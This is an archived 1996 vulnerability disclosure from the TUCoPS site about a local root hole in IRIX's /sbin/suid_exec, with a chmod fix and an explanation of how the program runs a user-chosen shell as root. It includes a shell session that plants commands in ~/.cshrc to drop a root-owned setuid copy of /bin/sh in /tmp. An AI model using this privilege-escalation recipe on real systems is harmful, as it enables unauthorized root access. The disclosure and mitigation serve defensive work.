TUCoPS :: SGI :: irix_sui.txt

Irix: suid_exec hole

                             Irix: suid_exec hole
   Yuri Volobuev (volobuev@t1.chem.umn.edu)
   Mon, 2 Dec 1996 20:25:58 -0600

Yes, one more Irix root vulnerability, and yes, it's another suid program.


/sbin/suid_exec is owned by root and suid.  I don't know what it's supposed
to do, but it can be easily exploited by any local user to get root
priorities.  Exploit works on both 5.3 and 6.2 machines, it's part of
eoe.sw.unix and thus is installed on each and every machine.


chmod -s /sbin/suid_exec


In my previous post, I mentioned that rfind subsystem is not part of Irix
6.2.  Apparently, as Jaechul Choe <poison@cosmos.kaist.ac.kr> mentioned,
it's there, though it's not part of "default" distribution, whatever it is.
It has same bugs 5.3 version does and is also vulnerable to all posted

If you are busy, move on to your next message now.

Full Story.

If you think something like "it's getting too boring...", you are right.
I'm getting bored, too.  It's like beating dead horse.  Unlike SOD folks, I
don't have so much desire, I just hack Irix for fun, and it's no fun
anymore, so I think I'll stop, at least for some time.  I actually wasn't
going to hack suid_exec, either, but the name was just too attractive.

/sbin/suid_exec (/etc/suid_exec is a link to it) is a misterious program.
It's not known to me what it's supposed to do.  Man page is not there, and I
had no clue about what it actually does.  Trying to run it will not give one
anything, except errors.  So I got curious.  After some playing with system
call tracing and strings, I think I found what it does.  It checks argv[0]
(why?, for ownership and permissions, and if it's executable, it invokes
your default shell to parse that file.  If it's root-owned suid program,
suid_exec will not give up root priorities prior to execve.  So it can serve
as an interpreter for suid shell scripts.  Of course, by default all suid
executable files on Irix are ELF binaries, and when shell tries to parse
such a file all you get is errors, but...  Interesting point: it gets shell
name from SHELL environment variable.  Besides, it doesn't care what this
shell may do, and it may do a lot of interesting things, like executing dot
files.  There are many ways to exploit it, to my taste the easiest is

% setenv | grep SHELL
% mv ~/.cshrc ~/.cshrc.old
% cat > ~/.cshrc
cp /bin/sh /tmp
chmod a+rsx /tmp/sh
% cat > expl.c
% cc expl.c -o expl.c
% ./expl
Too many ('s.
% ls -l /tmp/sh
-r-sr-sr-x    1 root     sys       140784 Dec  2 19:21 /tmp/sh*

(Sorry non-csh folks, I guess you get the pattern anyway).  Again, one can
get root out of it in a faster way, it's just one of the many.

I'm really curious: what is this thing doing on the system, anyway?  Getting
root out of it is seemingly its only use.  I just didn't find any reference
to it anywhere.  So may be removing suid bit from it will break something, I
don't know.  Nothing is in /etc/*/*.  I wish some SGI god followed
competitor's good example and explained us what it does.  But guess what are
the odds of it.



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH